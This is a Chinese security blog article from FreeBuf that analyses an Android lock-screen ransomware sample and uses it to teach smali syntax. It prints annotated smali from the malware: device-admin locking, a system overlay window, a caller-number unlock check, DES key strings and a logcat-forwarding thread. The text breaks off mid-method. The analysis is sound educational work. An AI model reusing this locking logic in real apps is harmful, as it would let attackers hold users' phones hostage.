从Android锁屏病毒探讨smali语法
*本文作者:xiongchaochao,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
引言
本次分析的样本是一款比较简单的android锁屏病毒,通过设备管理器来进行锁屏功能,并利用开机广播和服务的结合实现开机锁屏,解锁方式通过电话拨入,对资源文件进行解密出字符串和来电电话进行匹配的方式进行解锁。我们主要是从者一款比较简单的病毒中熟悉一下smali语法。
文件简介
App应用名称: 红包强盗(后台版) md5 : F3ADAADC7A8CB0D16A1AD05AADC8B1F2 包名 : com.cjk。
详细分析
第一步,直接先上模拟器,看看大概是个什么毒。从截图看出它想申请设备管理员权限,然后就弹出锁屏界面,一枚锁品病毒:
看看apk包内的文件,在 res\raw
目录下发现四个可疑文本文件,内容是 Cj09QU80TVRu
、 Cj1rRE0xY3puMllqTTVuVE0=
这些有可能是加密过的字符串,还在 res\drawable
目录下,发现下面这个qq二维码,也没什么so文件,也不会加固过。
主要从从AndroidManifest.xml文件中看四大组件,一般样本都会将恶意行为放在服务组件,需要重点关注。
1) s
服务根据服务生命周期表可以知道,针对两种不同方式启动的服务,调用的方法是不同的,因为下面onbind方法并没有任何操作,如果要开启这个服务只会走startService方法,所以我们顺着onCreate->onStartCommand来看。
//onBind方法,参数为Intent类实例化的对象 .method public onBind(Intent)IBinder //onBind方法方法中用到了6个寄存器 .registers 6 //注解,就是java中的@Override .annotation runtime Override .end annotation // 将参数p0(this)赋值给变量v0 00000000 move-object v0, p0 //将参数p1(传入的Intent类型参数)赋值给变量v1 00000002 move-object v1, p1 00000004 const/4 v3, 0 //检查v3是否可以转化成IBinder类 00000006 check-cast v3, IBinder 0000000A move-object v0, v3 //返回一个null对象 0000000C return-object v0 .end method
在看oncreate之前,在他的构造方法中,可以看见有几个敏感的数据, QQ号
, 暱称
,并且将这串字符串进行静态方法MD5Util->getMD5String的处理,下面主要看看这个处理过程。
.method public constructor ()V .registers 5 00000000 move-object v0, p0 00000002 move-object v2, v0 //直接调用Service的构造方法super(),(这种调用不存在被覆盖,编译时静态确认) 00000004 invoke-direct Service->()V, v2 0000000A move-object v2, v0 0000000C const-string v3, "by:彼岸花 qq:127****738" //将v3的字符串存放在v2中,并且v2=s->bahk:String(this.bahk) 00000010 iput-object v3, v2, s->bahk:String //使用this清空v2,v3 00000014 move-object v2, v0 00000016 move-object v3, v0 //获取s->bahk:String的值放入v3,然后让s->bahk:String指向v3 00000018 iget-object v3, v3, s->bahk:String //调用静态方法(不需要对象,所以少一个参数),看名称应该是获取md5字符串 0000001C invoke-static MD5Util->getMD5String(String)String, v3 00000022 move-result-object v3 //最后让经过处理的字符串v3放入this.Lycorisradiata 00000024 iput-object v3, v2, s->Lycorisradiata:String 00000028 return-void .end method
处理函数getMD5String,它将字符串 by:彼岸花 qq:127****738
,先进行了md5摘要计算,得到一个第一次加密过的字节数组,然后在new一个长度是其2倍的char型数组,接着第一次加密过的字节数组的每一个字节经过2次加密,生成不同的字符,填入到new出来的char型数组中,最终将其转化成字符串返回。
.method public static final getMD5String(String)String .registers 19 //静态方法,没有引用对象,所以p0=参数String 00000000 move-object/from16 v0, p0 //v12 = char[16] 创建16长度的char型数组,将其赋给v12 00000004 const/16 v12, 0x0010 00000008 new-array v12, v12, [C //将EC指向的2字节长度的char数据填入数组 0000000C fill-array-data v12, :EC //v2 = char[16] ,v12=this,将数组赋给v2,用this清空v12 00000012 move-object v2, v12 # v2 = charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'} 00000014 move-object v12, v0 :16 //v12.getBytes()将字符串转化成字节数组,调用虚方法,也就是v12是被引用的对象 //然后使用MD5信息摘要算法对这个字节数组进行计算,将hash值在00000040地址赋给v12 00000016 invoke-virtual String->getBytes()[B, v12 0000001C move-result-object v12 0000001E move-object v3, v12 00000020 const-string v12, "MD5" 00000024 invoke-static MessageDigest->getInstance(String)MessageDigest, v12 0000002A move-result-object v12 //因为v12(信息摘要对象)在00000032 位置做被引用的参数对象,所以将其赋给v4来接收update方法更改后的摘要对象 0000002C move-object v4, v12 0000002E move-object v12, v4 00000030 move-object v13, v3 00000032 invoke-virtual MessageDigest->update([B)V, v12, v13 00000038 move-object v12, v4 0000003A invoke-virtual MessageDigest->digest()[B, v12 00000040 move-result-object v12 00000042 move-object v5, v12 # v5 = md5ByteArray 字节数组类型的信息摘要 00000044 move-object v12, v5 //带有信息摘要的字节数组长度赋给v12,然后将这个长度乘以2,利用这个长度再实例化一个char型数组给v7 00000046 array-length v12, v12 00000048 move v6, v12 0000004A move v12, v6 # v6 = len_of_md5ByteArray 0000004C const/4 v13, 2 0000004E mul-int/lit8 v12, v12, 2 00000052 new-array v12, v12, [C 00000056 move-object v7, v12 # v7 = charArray2 = new char[2 * len_of_md5ByteArray] 00000058 const/4 v12, 0 0000005A move v8, v12 # v8 = 0 0000005C const/4 v12, 0 0000005E move v9, v12 :60 //v12=v9=0,v13=v6=md5字节数组的长度 //如果v12<v13跳转到:84,紧跟着下面有个goto :60跳转回来,构成了一个for循环 00000060 move v12, v9 00000062 move v13, v6 00000064 if-lt v12, v13, :84 # for(int v9=0; v9([C)V, v13, v14 # v12 = v13 = new String(charArray2) 00000080 move-object v0, v12 :82 00000082 return-object v0 :84 00000084 move-object v12, v5 00000086 move v13, v9 00000088 aget-byte v12, v12, v13 0000008C move v10, v12 # v10 = md5ByteArray[v9] 0000008E move-object v12, v7 # v12 = v7 = charArray2 00000090 move v13, v8 # v13 = v8 00000092 add-int/lit8 v8, v8, 1 # ++v8 00000096 move-object v14, v2 # v2 = charArray1 00000098 move v15, v10 0000009A const/16 v16, 4 0000009E ushr-int/lit8 v15, v15, 4 000000A2 const/16 v16, 15 000000A6 and-int/lit8 v15, v15, 15 000000AA aget-char v14, v14, v15 000000AE aput-char v14, v12, v13 # charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15] 000000B2 move-object v12, v7 000000B4 move v13, v8 # v13 = v8 000000B6 add-int/lit8 v8, v8, 1 # ++v8 000000BA move-object v14, v2 000000BC move v15, v10 000000BE const/16 v16, 15 000000C2 and-int/lit8 v15, v15, 15 000000C6 aget-char v14, v14, v15 000000CA aput-char v14, v12, v13 # charArray2[v13] = charArray1[md5ByteArray[v9] & 15] :CE 000000CE add-int/lit8 v9, v9, 1 000000D2 goto :60
4 000000D4 move-exception v12 000000D6 move-object v3, v12 000000D8 move-object v12, v3 000000DA invoke-virtual Exception->printStackTrace()V, v12 000000E0 const/4 v12, 0 000000E2 check-cast v12, String 000000E6 move-object v0, v12 000000E8 goto :82 .catch Exception {:16 .. :CE}
4 :EC 000000EC .array-data 2 x 0x10 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43 0x44 0x45 0x46 .end array-data .end method
这里将注释集合起来,大概是这样的加密过程,这里主要是大致预览加密逻辑。
charArray1 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'} string = "by:彼岸花 qq:1279525738"; byte[] v3 = string.getBytes(); MessageDigest v4 = MessageDigest.getInstance("MD5"); v4.update(v3); byte[] v5 = md5ByteArray = v4.digest() //字节数组类型的信息摘要 v6 = md5ByteArray.length() v7 = charArray2 = new char[2 * v6] for(int v9=0; v9> 4 & 15] v13 = v8 ++v8 //对单个字节的第二次加密 v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] & 15] } v12 = new String(charArray2) return v12
然后接着分析 s
服务的oncreate方法,先打印日志并通过Intent使用广播发送出去,让包名为 com.aide.ui
的接收,这里动态注册了一个监听接收短信、电话状态的广播,如果有电话拨进来,会将来电电话号码和经过字符串处理的hm资源文件里的字符串进行比较,如果相等就结束前台呼叫、移除newone布局,设置铃声静音,停止服务 s
(很明显是解锁方法),如果不相等则会拦截下这条广播。然后又用 bah.java
、 8e6762e8737463a957dc390bff4eb8e8
两个字符串生成对应的DES加密、解密对象,还有实例化一个 by:彼岸花 qq:1279525738.xml
存储文件的编辑器对象,但是都没有后面的操作,最后执行了重复手机震动操作,每过0.1s震动1.5s。
.method public onCreate()V .registers 15 .annotation system Signature value = { "()V" } .end annotation .annotation runtime Override .end annotation 00000000 move-object v0, p0 # v0 = this 00000002 move-object v7, v0 00000004 const-string v8, "com.aide.ui" 00000008 invoke-static ADRTLogCatReader->onContext(Context, String)V, v7, v8 # ADRTLogCatReader.onContext(this, "com.aide.ui") 0000000E move-object v7, v0 00000010 invoke-super Service->onCreate()V, v7 # this.Service.onCreate() 00000016 move-object v7, v0 00000018 new-instance v8, s$IncomingCallReceiver # 实例化一个IncomingCallReceiver对象 0000001C move-object v13, v8 0000001E move-object v8, v13 00000020 move-object v9, v13 00000022 move-object v10, v0 00000024 invoke-direct s$IncomingCallReceiver->(s)V, v9, v10 # 调用incomingCallReceiver的构造方法进行初始化: new IncomingCallReceiver(this) 0000002A iput-object v8, v7, s->mReceiver:s$IncomingCallReceiver # this.mReceiver = incomingCallReceiver 0000002E new-instance v7, IntentFilter 00000032 move-object v13, v7 00000034 move-object v7, v13 00000036 move-object v8, v13 00000038 invoke-direct IntentFilter->()V, v8 # IntentFilter intentfilter = new IntentFilter() 0000003E move-object v2, v7 00000040 move-object v7, v2 00000042 const-string v8, "android.intent.action.PHONE_STATE" 00000046 invoke-virtual IntentFilter->addAction(String)V, v7, v8 0000004C move-object v7, v2 0000004E const-string v8, "android.provider.Telephony.SMS_RECEIVED" 00000052 invoke-virtual IntentFilter->addAction(String)V, v7, v8 00000058 move-object v7, v0 0000005A move-object v8, v0 0000005C iget-object v8, v8, s->mReceiver:s$IncomingCallReceiver 00000060 move-object v9, v2 00000062 invoke-virtual s->registerReceiver(BroadcastReceiver, IntentFilter)Intent, v7, v8, v9 # this.registerReceiver(this.mReceiver, intentfilter) 00000068 move-result-object v7 0000006A move-object v7, v0 0000006C move-object v8, v0 0000006E const-string v9, "audio" 00000072 invoke-virtual s->getSystemService(String)Object, v8, v9 00000078 move-result-object v8 0000007A check-cast v8, AudioManager 0000007E iput-object v8, v7, s->mAudioManager:AudioManager # this.mAudioManager = this.getSystemService("audio") 00000082 move-object v7, v0 00000084 const-string v8, "phone" 00000088 invoke-virtual s->getSystemService(String)Object, v7, v8 0000008E move-result-object v7 00000090 check-cast v7, TelephonyManager 00000094 move-object v3, v7 :96 00000096 const-string v7, "android.telephony.TelephonyManager" 0000009A invoke-static Class->forName(String)Class, v7 :A0 000000A0 move-result-object v7 :A2 000000A2 const-string v8, "getITelephony" 000000A6 const/4 v9, 0 000000A8 check-cast v9, [Class 000000AC invoke-virtual Class->getDeclaredMethod(String, [Class)Method, v7, v8, v9 # Method v4 = Class.forName("android.telephony.TelephonyManager").getDeclaredMethod("getITelephony", 0) 000000B2 move-result-object v7 000000B4 move-object v4, v7 000000B6 move-object v7, v4 000000B8 const/4 v8, 1 000000BA invoke-virtual Method->setAccessible(Z)V, v7, v8 # v4.setAccessible(1)关闭安全检查 000000C0 move-object v7, v0 000000C2 move-object v8, v4 000000C4 move-object v9, v3 000000C6 const/4 v10, 0 000000C8 check-cast v10, [Object 000000CC invoke-virtual Method->invoke(Object, [Object)Object, v8, v9, v10 # v4.invoke(telephoneManager, 0) 000000D2 move-result-object v8 000000D4 check-cast v8, ITelephony 000000D8 iput-object v8, v7, s->iTelephony:ITelephony # this.iTelephony = v4.invoke(telephoneManager, 0)
C 000000DC move-object v7, v0 000000DE new-instance v8, DU 000000E2 move-object v13, v8 000000E4 move-object v8, v13 000000E6 move-object v9, v13 000000E8 const-string v10, “bah.java” 000000EC invoke-direct DU->(String)V, v9, v10 000000F2 iput-object v8, v7, s->des:DU # s.des = new DU(“bah.java”) 000000F6 move-object v7, v0 :F8 000000F8 new-instance v8, DU 000000FC move-object v13, v8 000000FE move-object v8, v13 00000100 move-object v9, v13 00000102 move-object v10, v0 00000104 iget-object v10, v10, s->des:DU 00000108 const-string v11, “8e6762e8737463a957dc390bff4eb8e8” 0000010C invoke-virtual DU->decrypt(String)String, v10, v11 00000112 move-result-object v10 00000114 invoke-direct DU->(String)V, v9, v10 0000011A iput-object v8, v7, s->des:DU # s.des = new DU(s.des.decrypt(“8e6762e8737463a957dc390bff4eb8e8”)) :11E 0000011E move-object v7, v0 00000120 move-object v8, v0 00000122 move-object v9, v0 00000124 iget-object v9, v9, s->bahk:String 00000128 const/4 v10, 0 0000012A invoke-virtual s->getSharedPreferences(String, I)SharedPreferences, v8, v9, v10 00000130 move-result-object v8 00000132 iput-object v8, v7, s->share:SharedPreferences # this.share = this.getSharedPreferences(“by:彼岸花 qq:1279525738”, 0) 00000136 move-object v7, v0 00000138 move-object v8, v0 0000013A iget-object v8, v8, s->share:SharedPreferences 0000013E invoke-interface SharedPreferences->edit()SharedPreferences$Editor, v8 00000144 move-result-object v8 00000146 iput-object v8, v7, s->editor:SharedPreferences$Editor # this.editor = this.share.edit() 0000014A move-object v7, v0 0000014C invoke-virtual s->getApplication()Application, v7 00000152 move-result-object v7 00000154 const-string v8, “vibrator” 00000158 invoke-virtual Application->getSystemService(String)Object, v7, v8 # this.getApplication().getSystemService(“vibrator”) 0000015E move-result-object v7 00000160 check-cast v7, Vibrator 00000164 move-object v4, v7 00000166 move-object v7, v4 00000168 const/4 v8, 4 0000016A new-array v8, v8, [J # long[] longArray = new long[4] 0000016E move-object v13, v8 00000170 move-object v8, v13 00000172 move-object v9, v13 00000174 const/4 v10, 0 00000176 const/16 v11, 100 # (long)100 0000017A int-to-long v11, v11 0000017C aput-wide v11, v9, v10 # longArray[0] = (long)100 00000180 move-object v13, v8 00000182 move-object v8, v13 00000184 move-object v9, v13 00000186 const/4 v10, 1 00000188 const/16 v11, 1500 0000018C int-to-long v11, v11 0000018E aput-wide v11, v9, v10 00000192 move-object v13, v8 00000194 move-object v8, v13 00000196 move-object v9, v13 00000198 const/4 v10, 2 0000019A const/16 v11, 100 0000019E int-to-long v11, v11 000001A0 aput-wide v11, v9, v10 000001A4 move-object v13, v8 000001A6 move-object v8, v13 000001A8 move-object v9, v13 000001AA const/4 v10, 3 000001AC const/16 v11, 1500 000001B0 int-to-long v11, v11 000001B2 aput-wide v11, v9, v10 # longArray = new long[]{(long)100, (long)1500, (long)100, (long)1500} 000001B6 const/4 v9, 0 000001B8 invoke-virtual Vibrator->vibrate([J, I)V, v7, v8, v9 # this.getApplication().getSystemService(“vibrator”).vibrate(longArray, 0) 000001BE return-void :1C0 000001C0 move-exception v7 000001C2 move-object v5, v7 :1C4 000001C4 new-instance v7, NoClassDefFoundError 000001C8 move-object v13, v7 000001CA move-object v7, v13 000001CC move-object v8, v13 000001CE move-object v9, v5 000001D0 invoke-virtual Throwable->getMessage()String, v9 000001D6 move-result-object v9 000001D8 invoke-direct NoClassDefFoundError->(String)V, v8, v9 000001DE throw v7 :1E0 000001E0 move-exception v7 000001E2 move-object v4, v7 000001E4 goto/16
C :1E8 000001E8 move-exception v7 000001EA move-object v4, v7 000001EC goto :11E .catch ClassNotFoundException {:96 .. :A0} :1C0 .catch Exception {:96 .. :A0} :1E0 .catch Exception {:A2 ..
C} :1E0 .catch Exception {:F8 .. :11E} :1E8 .catch Exception {:1C4 .. :1E0} :1E01 .end method
ADRTLogCatReader.onContext方法调用onContext静态方法,检查本引用是否可以调试,如果不可以则该方法返回为空,如果可以调试,先初始化ADRTSender的一些静态属性,然后开启一个线程,执行 logcat -v threadtime
打印日志,然后每次读取20个字符,并且每次读取一行,将其作为数据参数放入intent里,通过广播发送出去,指定接收包名是”com.aide.ui”,action是”com.adrt.LOGCAT_ENTRIES”。
.method public static onContext(Context, String)V .registers 12 00000000 move-object v0, p0 00000002 move-object v1, p1 00000004 sget-object v5, ADRTLogCatReader->context:Context # v5 = ADRTLogCatReader.context 00000008 if-eqz v5, :E # if ADRTLogCatReader.context == null{return null;}这个方法onContext只能调用一次 :C 0000000C return-void :E 0000000E move-object v5, v0 00000010 invoke-virtual Context->getApplicationContext()Context, v5 00000016 move-result-object v5 00000018 sput-object v5, ADRTLogCatReader->context:Context # ADRTLogCatReader.context = this.getApplicationContext() 0000001C const/4 v5, 0 0000001E move-object v6, v0 00000020 invoke-virtual Context->getApplicationInfo()ApplicationInfo, v6 00000026 move-result-object v6 00000028 iget v6, v6, ApplicationInfo->flags:I 0000002C const/4 v7, 2 0000002E and-int/lit8 v6, v6, 2 00000032 if-eq v5, v6, :42 # if(this.ApplicationInfo.flag & 2 == 0){return null;}检查应用是否允许调试 :36 00000036 const/4 v5, 1 :38 00000038 move v2, v5 0000003A move v5, v2 0000003C if-nez v5, :46 :40 00000040 goto :C :42 00000042 const/4 v5, 0 00000044 goto :38 :46 00000046 move-object v5, v0 :48 00000048 invoke-virtual Context->getPackageManager()PackageManager, v5 0000004E move-result-object v5 00000050 move-object v3, v5 00000052 move-object v5, v3 00000054 move-object v6, v1 00000056 const/16 v7, 0x0080 0000005A invoke-virtual PackageManager->getPackageInfo(String, I)PackageInfo, v5, v6, v7 # this.getPackageManager().getPackageInfo("com.aide.ui", 0x0080) # 这里获取"com.aide.ui"包应用的META信息,但是后面没有再调用了这个的数据 :60 00000060 move-result-object v5 00000062 move-object v4, v5 00000064 sget-object v5, ADRTLogCatReader->context:Context 00000068 move-object v6, v1 0000006A invoke-static ADRTSender->onContext(Context, String)V, v5, v6 # ADRTSender.onContext(ADRTLogCatReader.context, "com.aide.ui") 00000070 new-instance v5, Thread # Thread thread; 00000074 move-object v9, v5 00000076 move-object v5, v9 00000078 move-object v6, v9 0000007A new-instance v7, ADRTLogCatReader # ADRTLogCatReader aDRTLogCatReader; 0000007E move-object v9, v7 00000080 move-object v7, v9 00000082 move-object v8, v9 00000084 invoke-direct ADRTLogCatReader->()V, v8 # aDRTLogCatReader = new ADRTLogCatReader() 0000008A const-string v8, "LogCat" 0000008E invoke-direct Thread->(Runnable, String)V, v6, v7, v8 # thread(aDRTLogCatReader, "LogCat") 00000094 move-object v3, v5 00000096 move-object v5, v3 00000098 invoke-virtual Thread->start()V, v5 # thread(aDRTLogCatReader, "LogCat").start() 0000009E goto :C :A0 000000A0 move-exception v5 000000A2 move-object v3, v5 000000A4 goto :C .catch PackageManager$NameNotFoundException {:48 .. :60} :A0 .end method .method public run()V .registers 11 00000000 move-object v0, p0 :2 00000002 invoke-static Runtime->getRuntime()Runtime 00000008 move-result-object v4 0000000A const-string v5, "logcat -v threadtime" 0000000E invoke-virtual Runtime->exec(String)Process, v4, v5 # Process pc = Runtime.getRuntime().exec("logcat -v threadtime") 00000014 move-result-object v4 00000016 move-object v1, v4 00000018 new-instance v4, BufferedReader # BufferedReader br; 0000001C move-object v9, v4 0000001E move-object v4, v9 00000020 move-object v5, v9 00000022 new-instance v6, InputStreamReader # InputStreamReader is; 00000026 move-object v9, v6 00000028 move-object v6, v9 0000002A move-object v7, v9 0000002C move-object v8, v1 0000002E invoke-virtual Process->getInputStream()InputStream, v8 # pc.getInputStream() 00000034 move-result-object v8 00000036 invoke-direct InputStreamReader->(InputStream)V, v7, v8 # is = new InputStreamReader(pc.getInputStream) 0000003C const/16 v7, 20 00000040 invoke-direct BufferedReader->(Reader, I)V, v5, v6, v7 # br = new BufferedReader(new InputStreamReader(pc.getInputStream), 20) 00000046 move-object v2, v4 00000048 const-string v4, "" 0000004C move-object v3, v4 :4E 0000004E move-object v4, v2 00000050 invoke-virtual BufferedReader->readLine()String, v4 # br.readLine() 00000056 move-result-object v4 00000058 move-object v9, v4 0000005A move-object v4, v9 0000005C move-object v5, v9 0000005E move-object v3, v5 00000060 if-eqz v4, :80 :64 00000064 const/4 v4, 1 00000066 new-array v4, v4, [String # String[] st = new String[1]; 0000006A move-object v9, v4 0000006C move-object v4, v9 0000006E move-object v5, v9 00000070 const/4 v6, 0 00000072 move-object v7, v3 00000074 aput-object v7, v5, v6 # st[0] = br.readLine() 00000078 invoke-static ADRTSender->sendLogcatLines([String)V, v4 # ADRTSender.sendLogcatLines(st) :7E 0000007E goto :4E :80 00000080 return-void :82 00000082 move-exception v4 00000084 move-object v1, v4 00000086 goto :80 .catch IOException {:2 .. :7E} :82 .end method
接着分析:onstart方法(android-15之后就被onStartCommand代替了)主要执行了方法 c
,主要是将处理好的字符串附加到 layout/newone.xml
文件内的几个TextView控件上。
0000000C invoke-super Service->onStart(Intent, I)V, v4, v5, v6 # this.super(v1, v2) 00000012 move-object v4, v0 00000014 invoke-direct s->c()V, v4 # this.c()
.method private c()V .registers 21 .annotation system Signature value = { "()V" } .end annotation 00000000 move-object/from16 v1, p0 00000004 move-object v15, v1 00000006 new-instance v16, WindowManager$LayoutParams 0000000A move-object/from16 v19, v16 0000000E move-object/from16 v16, v19 00000012 move-object/from16 v17, v19 00000016 invoke-direct/range WindowManager$LayoutParams->()V, v17 .. v17 0000001C move-object/from16 v0, v16 00000020 iput-object v0, v15, s->wmParams:WindowManager$LayoutParams # this.wmParams = new WindowManager$LayoutParams() 00000024 move-object v15, v1 00000026 move-object/from16 v16, v1 0000002A invoke-virtual/range s->getApplication()Application, v16 .. v16 00000030 move-result-object v16 00000032 move-object/from16 v17, v1 00000036 invoke-virtual/range s->getApplication()Application, v17 .. v17 0000003C move-result-object v17 0000003E sget-object v17, Context->WINDOW_SERVICE:String 00000042 invoke-virtual/range Application->getSystemService(String)Object, v16 .. v17 00000048 move-result-object v16 0000004A check-cast v16, WindowManager 0000004E move-object/from16 v0, v16 00000052 iput-object v0, v15, s->mWindowManager:WindowManager # mWindowManager = this.getApplication().getsystemService(CONTEXT.WINDOW_SERVICE) 00000056 move-object v15, v1 00000058 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams # this.wmParams 0000005C const/16 v16, 2010 00000060 move/from16 v0, v16 00000064 iput v0, v15, WindowManager$LayoutParams->type:I # this.wmParams.type = 2010 00000068 move-object v15, v1 0000006A iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 0000006E const/16 v16, 1 00000072 move/from16 v0, v16 00000076 iput v0, v15, WindowManager$LayoutParams->format:I # this.wmParams.format = 1 0000007A move-object v15, v1 0000007C iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 00000080 const/16 v16, 0x0500 00000084 move/from16 v0, v16 00000088 iput v0, v15, WindowManager$LayoutParams->flags:I # this.wmParams.flags = 0x0500 0000008C move-object v15, v1 0000008E iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 00000092 const/16 v16, 49 00000096 move/from16 v0, v16 0000009A iput v0, v15, WindowManager$LayoutParams->gravity:I # this.wmParams.gravity = 49 0000009E move-object v15, v1 000000A0 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 000000A4 const/16 v16, 0 000000A8 move/from16 v0, v16 000000AC iput v0, v15, WindowManager$LayoutParams->x:I # this.wmParams.x = 0 000000B0 move-object v15, v1 000000B2 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 000000B6 const/16 v16, 0 000000BA move/from16 v0, v16 000000BE iput v0, v15, WindowManager$LayoutParams->y:I # this.wmParams.y = 0 000000C2 move-object v15, v1 000000C4 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 000000C8 const/16 v16, -0x0001 000000CC move/from16 v0, v16 000000D0 iput v0, v15, ViewGroup$LayoutParams->width:I # this.wmParams.width=0x0001 000000D4 move-object v15, v1 000000D6 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams 000000DA const/16 v16, -0x0001 000000DE move/from16 v0, v16 000000E2 iput v0, v15, ViewGroup$LayoutParams->height:I # this.wmParams.height = -0x0001 000000E6 move-object v15, v1 000000E8 invoke-virtual s->getApplication()Application, v15 000000EE move-result-object v15 000000F0 invoke-static LayoutInflater->from(Context)LayoutInflater, v15 000000F6 move-result-object v15 000000F8 move-object v3, v15 000000FA move-object v15, v1 000000FC move-object/from16 v16, v3 00000100 const v17, 0x7F030001 00000106 const/16 v18, 0 0000010A check-cast v18, ViewGroup 0000010E invoke-virtual/range LayoutInflater->inflate(I, ViewGroup)View, v16 .. v18 00000114 move-result-object v16 00000116 move-object/from16 v0, v16 0000011A iput-object v0, v15, s->mFloatLayout:View # this.mFloatLayout = LayoutInflater.from(this.getApplication).inflate(0x7F030001, 0) 0000011E move-object v15, v1 00000120 iget-object v15, v15, s->mWindowManager:WindowManager 00000124 move-object/from16 v16, v1 00000128 move-object/from16 v0, v16 0000012C iget-object v0, v0, s->mFloatLayout:View 00000130 move-object/from16 v16, v0 00000134 move-object/from16 v17, v1 00000138 move-object/from16 v0, v17 0000013C iget-object v0, v0, s->wmParams:WindowManager$LayoutParams 00000140 move-object/from16 v17, v0 00000144 invoke-interface/range WindowManager->addView(View, ViewGroup$LayoutParams)V, v15 .. v17 # this.mWindowManager.addView(this.mFloatLayout, this.wmParams) 0000014A move-object v15, v1 0000014C move-object/from16 v16, v1 00000150 move-object/from16 v0, v16 00000154 iget-object v0, v0, s->mFloatLayout:View 00000158 move-object/from16 v16, v0 0000015C const/high16 v17, 0x7F0A0000 00000160 invoke-virtual/range View->findViewById(I)View, v16 .. v17 00000166 move-result-object v16 00000168 check-cast v16, TextView 0000016C move-object/from16 v0, v16 00000170 iput-object v0, v15, s->wb:TextView # this.wb = mFloatLayout.findViewById(0x7F0A0000) 00000174 move-object v15, v1 00000176 move-object/from16 v16, v1 0000017A move-object/from16 v0, v16 0000017E iget-object v0, v0, s->mFloatLayout:View 00000182 move-object/from16 v16, v0 00000186 const v17, 0x7F0A0001 0000018C invoke-virtual/range View->findViewById(I)View, v16 .. v17 00000192 move-result-object v16 00000194 check-cast v16, TextView 00000198 move-object/from16 v0, v16 0000019C iput-object v0, v15, s->bah:TextView 000001A0 move-object v15, v1 000001A2 move-object/from16 v16, v1 000001A6 move-object/from16 v0, v16 000001AA iget-object v0, v0, s->mFloatLayout:View 000001AE move-object/from16 v16, v0 000001B2 const v17, 0x7F0A0002 000001B8 invoke-virtual/range View->findViewById(I)View, v16 .. v17 000001BE move-result-object v16 000001C0 check-cast v16, TextView 000001C4 move-object/from16 v0, v16 000001C8 iput-object v0, v15, s->cjk:TextView 000001CC move-object v15, v1 000001CE move-object/from16 v16, v1 000001D2 move-object/from16 v0, v16 000001D6 iget-object v0, v0, s->mFloatLayout:View 000001DA move-object/from16 v16, v0 000001DE const v17, 0x7F0A0003 000001E4 invoke-virtual/range View->findViewById(I)View, v16 .. v17 000001EA move-result-object v16 000001EC check-cast v16, TextView 000001F0 move-object/from16 v0, v16 000001F4 iput-object v0, v15, s->tv:TextView :1F8 000001F8 new-instance v15, StringBuffer 000001FC move-object/from16 v19, v15 00000200 move-object/from16 v15, v19 00000204 move-object/from16 v16, v19 00000208 invoke-direct/range StringBuffer->()V, v16 .. v16 # stringbuffer = new StringBuffer() 0000020E move-object/from16 v16, v1 00000212 move-object/from16 v0, v16 00000216 iget-object v0, v0, s->Lycorisradiata:String # this.Lycorisradiata 0000021A move-object/from16 v16, v0 0000021E invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer.append(this.Lycorisradiata) 00000224 move-result-object v15 00000226 const-string v16, "626fcaf7df0278de9aff3aaca97a5b8c88fd66ed54f277cc91852adc95565ff06a5cfa22ea1bf0c0fae034132b8a4d212ba95bad14ad34cb812d751d9e47c41df05c9fffa333772bcd5089b13e5600c8fd9587ce8f403c4d5b8156d4d24c94bfd4ed91fb50e3c6a89f070393ab0a03f3" 0000022A invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer.append(v16) 00000230 move-result-object v15 00000232 invoke-virtual StringBuffer->toString()String, v15 00000238 move-result-object v15 0000023A move-object v4, v15 0000023C new-instance v15, StringBuffer 00000240 move-object/from16 v19, v15 00000244 move-object/from16 v15, v19 00000248 move-object/from16 v16, v19 0000024C invoke-direct/range StringBuffer->()V, v16 .. v16 # stringbuffer2 = new StringBuffer() 00000252 move-object/from16 v16, v1 00000256 move-object/from16 v0, v16 0000025A iget-object v0, v0, s->Lycorisradiata:String 0000025E move-object/from16 v16, v0 00000262 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer2.append(this.Lycorisradiata) 00000268 move-result-object v15 0000026A const-string v16, "60ee210a612f306f774a08a5a865c657ead0311698369b26d95e1c6151b5ee326053086a53edd02dafd2ceff8b6797ceeb75bdd4821b3eb747f256bb22696f8854ba778baee912cbc74042d306579e70cf0965d9cb30c048" 0000026E invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer2.append(v16) 00000274 move-result-object v15 00000276 invoke-virtual StringBuffer->toString()String, v15 0000027C move-result-object v15 0000027E move-object v5, v15 00000280 new-instance v15, StringBuffer 00000284 move-object/from16 v19, v15 00000288 move-object/from16 v15, v19 0000028C move-object/from16 v16, v19 00000290 invoke-direct/range StringBuffer->()V, v16 .. v16 # stringbuffer3 = new StringBuffer() 00000296 move-object/from16 v16, v1 0000029A move-object/from16 v0, v16 0000029E iget-object v0, v0, s->Lycorisradiata:String 000002A2 move-object/from16 v16, v0 000002A6 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer3.append(this.Lycorisradiata) 000002AC move-result-object v15 000002AE const-string v16, "ebbcd47d6afa253eba111409c5ebe0a3751098207629ac6dcf5ffadff17f0330e3ed51aa320a6b30a613feffaf16a7bf" 000002B2 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer3.append(v16) 000002B8 move-result-object v15 000002BA invoke-virtual StringBuffer->toString()String, v15 000002C0 move-result-object v15 000002C2 move-object v6, v15 000002C4 move-object v15, v4 000002C6 invoke-static DU->getbah(String)String, v15 000002CC move-result-object v15 000002CE move-object v7, v15 000002D0 move-object v15, v5 000002D2 invoke-static DU->getbah(String)String, v15 000002D8 